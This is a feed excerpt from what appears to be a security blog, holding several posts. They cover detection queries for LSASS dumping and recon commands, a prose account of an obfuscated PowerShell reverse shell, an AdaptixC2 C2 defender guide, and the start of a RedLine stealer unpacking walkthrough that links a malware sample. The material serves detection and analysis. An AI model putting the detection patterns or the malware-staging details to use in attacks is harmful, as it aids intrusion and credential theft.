style=&quot;color:#C98A7D&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;whoami&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Elastic&lt;/summary&gt;&lt;pre&gt;&lt;code class=&quot;language-lucene&quot;&gt;process.command_line:(*ipconfig*\|*find* OR *net*\|*find* OR *netstat*\|*find* OR *ping*\|*find* OR *systeminfo*\|*find* OR *tasklist*\|*find* OR *whoami*\|*find*)
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Sigma&lt;/summary&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_findstr_recon_pipe_output.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;View rule on GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/details&gt;&lt;/div&gt;

&lt;p&gt;Thanks to &lt;a href=&quot;https://x.com/cyb3rops&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@cyb3rops&lt;/a&gt;, &lt;a href=&quot;https://x.com/frack113&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@frack113&lt;/a&gt;, Modexp, &lt;a href=&quot;https://x.com/nas_bench&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@nas_bench&lt;/a&gt;, and &lt;a href=&quot;https://x.com/_swachchhanda_&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@&lt;em&gt;swachchhanda&lt;/em&gt;&lt;/a&gt; for publishing the awesome Sigma rules and helping the community.&lt;/p&gt;

&lt;h2 id=&quot;known-in-the-wild-incidents&quot;&gt;Known in-the-wild incidents&lt;/h2&gt;
&lt;p&gt;A compact, source-linked index of public reports where LSASS dumping via &lt;code&gt;comsvcs.dll&lt;/code&gt; appears in real intrusions.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Source Title&lt;/th&gt;
&lt;th&gt;Source (with link)&lt;/th&gt;
&lt;th&gt;Publish Date&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;UAT-7237 targets Taiwanese web hosting infrastructure&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://blog.talosintelligence.com/uat-7237-targets-web-hosting-infra/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Cisco Talos&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;15 Aug, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;The DFIR Report&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;5 Aug, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inside a Real Ransomware Attack: What Happened and How&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.solissecurity.com/en-gb/insights/inside-a-real-ransomware-attack-what-happened-and-how/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Solis Security&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;9 Jul, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Theft: Expanding Your Reach&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.huntress.com/blog/credential-theft-expanding-your-reach&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Huntress&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;8 Apr, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira – The DFIR Report&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lolbas-project.github.io/lolbas/Libraries/comsvcs/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Comsvcs | LOLBAS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1003/001/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;OS Credential Dumping: LSASS Memory, Sub-technique T1003.001 – Enterprise | MITRE ATT&amp;amp;CK®&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>credential-access</category><category>defense-evasion</category><category>detection-engineering</category><category>discovery</category><category>threat-hunting</category><category>elasticsearch</category><category>kql</category><category>lsass</category><category>sigma-rules</category><category>t1003-001</category><category>t1027-010</category><category>t1036</category><category>t1057</category></item><item><title>Deobfuscate PowerShell using MinusOne</title><link>https://www.securityinbits.com/malware-analysis/deobfuscation/deobfuscate-powershell-reverse-shell/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1395</guid><description>Learn how Reverse Shell Generator creates obfuscated PowerShell and how MinusOne (by AirbusCERT) quickly deobfuscates it.</description><pubDate>Sun, 21 Sep 2025 21:05:08 GMT</pubDate><content:encoded>
&lt;p&gt;Obfuscated PowerShell is everywhere – this post shows how the Reverse Shell Generator produces randomized scripts and how MinusOne deobfuscates them in seconds.&lt;/p&gt;
&lt;p&gt;It generates a different PowerShell variant every time you click &lt;strong&gt;Generate&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;obfuscated-powershell&quot;&gt;Obfuscated PowerShell&lt;/h2&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Obfuscated-Revshell-Powershell.png&quot;&gt;&lt;img alt=&quot;Obfuscated Revshell Powershell&quot; decoding=&quot;async&quot; height=&quot;1141&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1093px) 100vw, 1093px&quot; src=&quot;/wp-content/uploads/2025/09/Obfuscated-Revshell-Powershell.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Obfuscated-Revshell-Powershell.png 1093w, /wp-content/uploads/2025/09/Obfuscated-Revshell-Powershell-287x300.png 287w, /wp-content/uploads/2025/09/Obfuscated-Revshell-Powershell-981x1024.png 981w, /wp-content/uploads/2025/09/Obfuscated-Revshell-Powershell-768x802.png 768w&quot; width=&quot;1093&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Obfuscated Revshell Powershell&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;deobfuscated-powershell&quot;&gt;Deobfuscated PowerShell&lt;/h2&gt;
&lt;p&gt;But here’s the fix 👇&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://minusone.skyblue.team/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;MinusOne – Powershell Deobfuscator&lt;/a&gt; – written in Rust by AirbusCERT – cleans it up in seconds&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Deobfuscated-Revshell-Powershell.png&quot;&gt;&lt;img alt=&quot;Deobfuscate PowerShell&quot; decoding=&quot;async&quot; height=&quot;618&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1753px) 100vw, 1753px&quot; src=&quot;/wp-content/uploads/2025/09/Deobfuscated-Revshell-Powershell.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Deobfuscated-Revshell-Powershell.png 1753w, /wp-content/uploads/2025/09/Deobfuscated-Revshell-Powershell-300x106.png 300w, /wp-content/uploads/2025/09/Deobfuscated-Revshell-Powershell-1024x361.png 1024w, /wp-content/uploads/2025/09/Deobfuscated-Revshell-Powershell-768x271.png 768w&quot; width=&quot;1753&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Deobfuscate PowerShell&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;What does it do?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It’s an obfuscated &lt;strong&gt;PowerShell TCP reverse shell&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;It creates a &lt;code&gt;System.Net.Sockets.TCPClient&lt;/code&gt; to &lt;code&gt;&amp;lt;input ip&amp;gt;:&amp;lt;input port&amp;gt;&lt;/code&gt;and reads bytes from the stream&lt;/li&gt;
&lt;li&gt;It decodes bytes to text with &lt;code&gt;System.Text.ASCIIEncoding&lt;/code&gt;, executes via &lt;code&gt;Invoke-Expression&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It then returns output plus a fake &lt;code&gt;PS &amp;lt;cwd&amp;gt; &amp;gt;&lt;/code&gt; prompt using &lt;code&gt;ASCII.GetBytes()&lt;/code&gt; and &lt;code&gt;Write()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://minusone.skyblue.team/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;MinusOne – Powershell Deobfuscator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/airbus-cert/minusone&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;GitHub – airbus-cert/minusone: Powershell Linter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>malware-analysis/deobfuscation</category><category>minusone</category><category>powershell</category><category>reverse-shell</category></item><item><title>AdaptixC2 Defender</title><link>https://www.securityinbits.com/threat-intelligence/adaptixc2-defender-guide/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1365</guid><description>Practical AdaptixC2 defender guide with real incidents, quick detection tips, default user agent, YARA, and a config extractor.</description><pubDate>Sat, 20 Sep 2025 08:40:03 GMT</pubDate><content:encoded>
&lt;p&gt;In July 2025 AdaptixC2 moved from red team lab to real breaches; this guide shows how defenders can spot it fast using Yara, C2 Feeds, User agent etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What it is?&lt;/strong&gt; AdaptixC2 is an open-source post-exploitation/C2 framework and adversarial emulation framework made for penetration testers. The Adaptix server is written in Golang and to allow operator flexibility. The GUI Client is written in C++ QT, allowing it to be used on Linux, Windows, and MacOS&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AdaptixC2’s functionality is identical to traditional penetration frameworks such as Cobalt Strike, Sliver, Havoc, and Mythic.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Adaptixc2-Gui.png&quot;&gt;&lt;img alt=&quot;Adaptixc2 Gui&quot; decoding=&quot;async&quot; height=&quot;964&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1536px) 100vw, 1536px&quot; src=&quot;/wp-content/uploads/2025/09/Adaptixc2-Gui.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Adaptixc2-Gui.png 1536w, /wp-content/uploads/2025/09/Adaptixc2-Gui-300x188.png 300w, /wp-content/uploads/2025/09/Adaptixc2-Gui-1024x643.png 1024w, /wp-content/uploads/2025/09/Adaptixc2-Gui-768x482.png 768w&quot; width=&quot;1536&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Adaptixc2 Gui&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Jan 2025&lt;/strong&gt; – v0.1 released&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;May 2025&lt;/strong&gt; – First seen on ThreatFox and MalwareBazaar. Observed in the wild by Symantec and Unit 42&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jul 2025&lt;/strong&gt; – Observed in the wild by The DFIR Report and QiAnXin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Aug 2025&lt;/strong&gt; – v0.8 released&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dec 2025&lt;/strong&gt; – v1.0 released&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;known-in-the-wild-incidents&quot;&gt;Known In-the-Wild Incidents&lt;/h2&gt;
&lt;p&gt;A compact, source-linked index of public reports where &lt;strong&gt;AdaptixC2&lt;/strong&gt; appears in real intrusions.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Blog&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;Publish Date&lt;/th&gt;
&lt;th&gt;When it was used?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cyber Warfare Amidst Gold’s Skyrocketing Price: UTG-Q-010 Group’s Supply-Chain Attack&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://ti.qianxin.com/blog/articles/utg-q-010-supply-chain-attacks-strike-directly-at-the-heart-of-hongkongs-financial-market-en/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;QiAnXin TI Center&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;4 Sep, 2025&lt;/td&gt;
&lt;td&gt;Jul 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;The DFIR Report&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;5 Aug, 2025&lt;/td&gt;
&lt;td&gt;Jul 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Unit 42&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;10 Sep, 2025&lt;/td&gt;
&lt;td&gt;May 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unusual Fog ransomware activity&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.security.com/threat-intelligence/fog-ransomware-attack&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Symantec (Broadcom)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;12 Jun, 2025&lt;/td&gt;
&lt;td&gt;May 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Last updated:&lt;/strong&gt; 2025-09-20&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;detection&quot;&gt;Detection&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Default user agent&lt;/strong&gt;&lt;br/&gt;
If the actor did not change it, hunt for this in your web logs:&lt;br/&gt;
`Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0&lt;/p&gt;
&lt;p&gt;Based on the &lt;a href=&quot;https://user-agents.net/string/mozilla-5-0-windows-nt-6-2-rv-20-0-gecko-20121202-firefox-20-0&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;User agent website&lt;/a&gt; this maps to &lt;strong&gt;Firefox browser running on Windows 8&lt;/strong&gt;, which should be rare in most networks.&lt;br/&gt;
Treat matches as suspicious and pivot by source IP, URI path, and user account.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Yara Rules&lt;/strong&gt;&lt;br/&gt;
AdaptixC2 yara rules from then Unit42 blog, mirrored for convenience: &lt;a href=&quot;https://gist.github.com/Securityinbits/c22ece8eeafef5376a47a2a16ec9cabb&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;AdaptixC2 YARA rules — GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Adaptixc2-Yara-Rules.png&quot;&gt;&lt;img alt=&quot;Adaptixc2 Yara Rules&quot; decoding=&quot;async&quot; height=&quot;440&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1485px) 100vw, 1485px&quot; src=&quot;/wp-content/uploads/2025/09/Adaptixc2-Yara-Rules.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Adaptixc2-Yara-Rules.png 1485w, /wp-content/uploads/2025/09/Adaptixc2-Yara-Rules-300x89.png 300w, /wp-content/uploads/2025/09/Adaptixc2-Yara-Rules-1024x303.png 1024w, /wp-content/uploads/2025/09/Adaptixc2-Yara-Rules-768x228.png 768w&quot; width=&quot;1485&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Adaptixc2 Yara Rules&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id=&quot;config-extractor&quot;&gt;Config extractor&lt;/h2&gt;
&lt;p&gt;The config extractor (by the Unit 42 team) is here: &lt;a href=&quot;https://gist.github.com/Securityinbits/d6ed1444630b317b8a8d2c2985f8cafa&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;AdaptixC2 config extractor — GitHub&lt;/a&gt;.&lt;br/&gt;
This executable was created with the latest AdaptixC2 version and extracts the C2 cleanly.&lt;/p&gt;
&lt;p&gt;This exe file was created using the latest AdaptixC2 version and it works perfectly fine , extract the C2 without any issue.&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Adaptixc2-Config-Extractor.png&quot;&gt;&lt;img alt=&quot;Adaptixc2 Config Extractor&quot; decoding=&quot;async&quot; height=&quot;832&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1040px) 100vw, 1040px&quot; src=&quot;/wp-content/uploads/2025/09/Adaptixc2-Config-Extractor.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Adaptixc2-Config-Extractor.png 1040w, /wp-content/uploads/2025/09/Adaptixc2-Config-Extractor-300x240.png 300w, /wp-content/uploads/2025/09/Adaptixc2-Config-Extractor-1024x819.png 1024w, /wp-content/uploads/2025/09/Adaptixc2-Config-Extractor-768x614.png 768w&quot; width=&quot;1040&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Adaptixc2 Config Extractor&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id=&quot;c2-feeds&quot;&gt;C2 Feeds&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/tag/AdaptixC2&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;ThreatFox | AdaptixC2&lt;/a&gt;  – First Seen – 2025-05-25 18:22:59 UTC&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/drb-ra/C2IntelFeeds&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;GitHub – drb-ra/C2IntelFeeds: Automatically created C2 Feeds&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Drb-Ra-Intelfeeds.png&quot;&gt;&lt;img alt=&quot;Drb Ra Intelfeeds&quot; decoding=&quot;async&quot; height=&quot;436&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 595px) 100vw, 595px&quot; src=&quot;/wp-content/uploads/2025/09/Drb-Ra-Intelfeeds.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Drb-Ra-Intelfeeds.png 595w, /wp-content/uploads/2025/09/Drb-Ra-Intelfeeds-300x220.png 300w&quot; width=&quot;595&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Drb Ra Intelfeeds&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id=&quot;hash-feed&quot;&gt;Hash Feed&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bazaar.abuse.ch/browse/tag/AdaptixC2/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;MalwareBazaar | AdaptixC2 &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Adaptix-Framework/AdaptixC2&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;AdaptixC2 Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://x.com/hacker_ralf&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;X hacker_ralf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>threat-intelligence</category><category>adaptixc2</category><category>c2-frameworks</category><category>post-exploitation</category></item><item><title>Unpack RedLine stealer using dnSpyEx – Part 3</title><link>https://www.securityinbits.com/malware-analysis/unpack-redline-stealer-using-dnspyex-part-3/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1222</guid><description>Dive into unpacking and extracting config from RedLine Stealer using dnSpyEx. This is the 3rd part in our RedLine malware series.</description><pubDate>Mon, 12 Feb 2024 13:29:27 GMT</pubDate><content:encoded>&lt;p&gt;In this article, we dive into process of unpacking and extracting config from RedLine Stealer using dnSpyEx. It’s a bit lengthy but a great way to learn about the unpacking process using dnSpyEx.&lt;/p&gt;
&lt;p&gt;🔍 This is the 3rd part in our deep dive series on RedLine.&lt;/p&gt;
&lt;p&gt;If you need a refresher on the infection chain, check out &lt;strong&gt;&lt;em&gt;Part 1 –&lt;/em&gt;&lt;a href=&quot;/malware-analysis/🔍-dive-into-the-redline-stealer-infection-chain-part-1/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;🔍 Dive into the RedLine Stealer Infection Chain – Part 1&lt;/a&gt;.&lt;/strong&gt; And if you’re interested in using the pe-sieve tool, explore &lt;em&gt;&lt;strong&gt;Part 2 –&lt;/strong&gt;&lt;/em&gt;&lt;strong&gt; &lt;/strong&gt;&lt;strong&gt;&lt;a href=&quot;/malware-analysis/unpack-redline-stealer-to-extract-config-using-pe-sieve-part-2/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;Unpack RedLine stealer to extract config using pe-sieve -Part 2.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To follow along, download the file line.exe from &lt;a href=&quot;https://bazaar.abuse.ch/sample/532631b46cb7e5b8b034cb3ef0ecc549fc10856261d9710cf23e7967055ddde4/&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;MalwareBazaar&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;using-dnspyex-for-manual-debugging-redline-stealer&quot;&gt;Using dnSpyEx for Manual Debugging – RedLine Stealer&lt;/h3&gt;&lt;p&gt;Let’s embark on the unpacking journey with dnSpyEx:&lt;/p&gt;
&lt;h5&gt;1. Loading line.exe into dnSpyEx&lt;/h5&gt;
&lt;p&gt;Load line.exe to dnSpyEx and navigate to the EP you will see &lt;code&gt;MainWindow.NON()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This section contains critical code snippets, including&lt;br/&gt;
&lt;code&gt;Activator.CreateInstance(GeneralMessageForm.VCTull);&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Activator.CreateInstance&lt;/code&gt; is use to execute the 2nd stage dll dynamically.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Activator.CreateInstanceCreate instances of types dynamically during runtime. It is commonly used with reflection to instantiate types during runtime.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/6.-Load-line.exe-CreateInstance.png&quot;&gt;&lt;img alt=&quot;1. Load line.exe CreateInstance&quot; decoding=&quot;async&quot; height=&quot;976&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1354px) 100vw, 1354px&quot; src=&quot;/wp-content/uploads/2024/01/6.-Load-line.exe-CreateInstance.png&quot; srcset=&quot;/wp-content/uploads/2024/01/6.-Load-line.exe-CreateInstance.png 1354w, /wp-content/uploads/2024/01/6.-Load-line.exe-CreateInstance-300x216.png 300w, /wp-content/uploads/2024/01/6.-Load-line.exe-CreateInstance-1024x738.png 1024w, /wp-content/uploads/2024/01/6.-Load-line.exe-CreateInstance-768x554.png 768w&quot; width=&quot;1354&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;1. Load line.exe CreateInstance&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h5&gt; 2. Loads &amp;amp; execute the 2nd Stage dll (HiTechDistribution.dll)&lt;/h5&gt;
&lt;p&gt;It loads assembly using &lt;code&gt;AppDomain.CurrentDomain.Load()&lt;/code&gt;, then, it fetches all the public (exported) types from that assembly using &lt;code&gt;GetExportedTypes()&lt;/code&gt;&amp;amp; returns the first one.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2024/01/7.-Load-assembly.png&quot;&gt;&lt;img alt=&quot;2. Load assembly in dnSpyEx&quot; decoding=&quot;async&quot; height=&quot;574&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1413px) 100vw, 1413px&quot; src=&quot;/wp-content/uploads/2024/01/7.-Load-assembly.png&quot; srcset=&quot;/wp-content/uploads/2024/01/7.-Load-assembly.png 1413w, /wp-content/uploads/2024/01/7.-Load-assembly-300x122.png 300w, /wp-content/uploads/2024/01/7.-Load-assembly-1024x416.png 1024w, /wp-content/uploads/2024/01/7.-Load-assembly-768x312.png 768w&quot; width=&quot;1413&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;2. Load assembly in dnSpyEx&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;PantosTExBwBQpyLp&lt;/code&gt; function decrypt this embedded resource (&lt;em&gt;Resources.HiTechDistribution&lt;/em&gt;) using hard-coded key.&lt;/p&gt;
&lt;p&gt;In summary, it loads and execute the .NET assembly (2nd Stage) using &lt;code&gt;Activator.CreateInstance&lt;/code&gt; after decrypting the resources embedded in line.exe.&lt;/p&gt;
&lt;p&gt;Now let’s analyse the 2nd Stage dll.&lt;/p&gt;
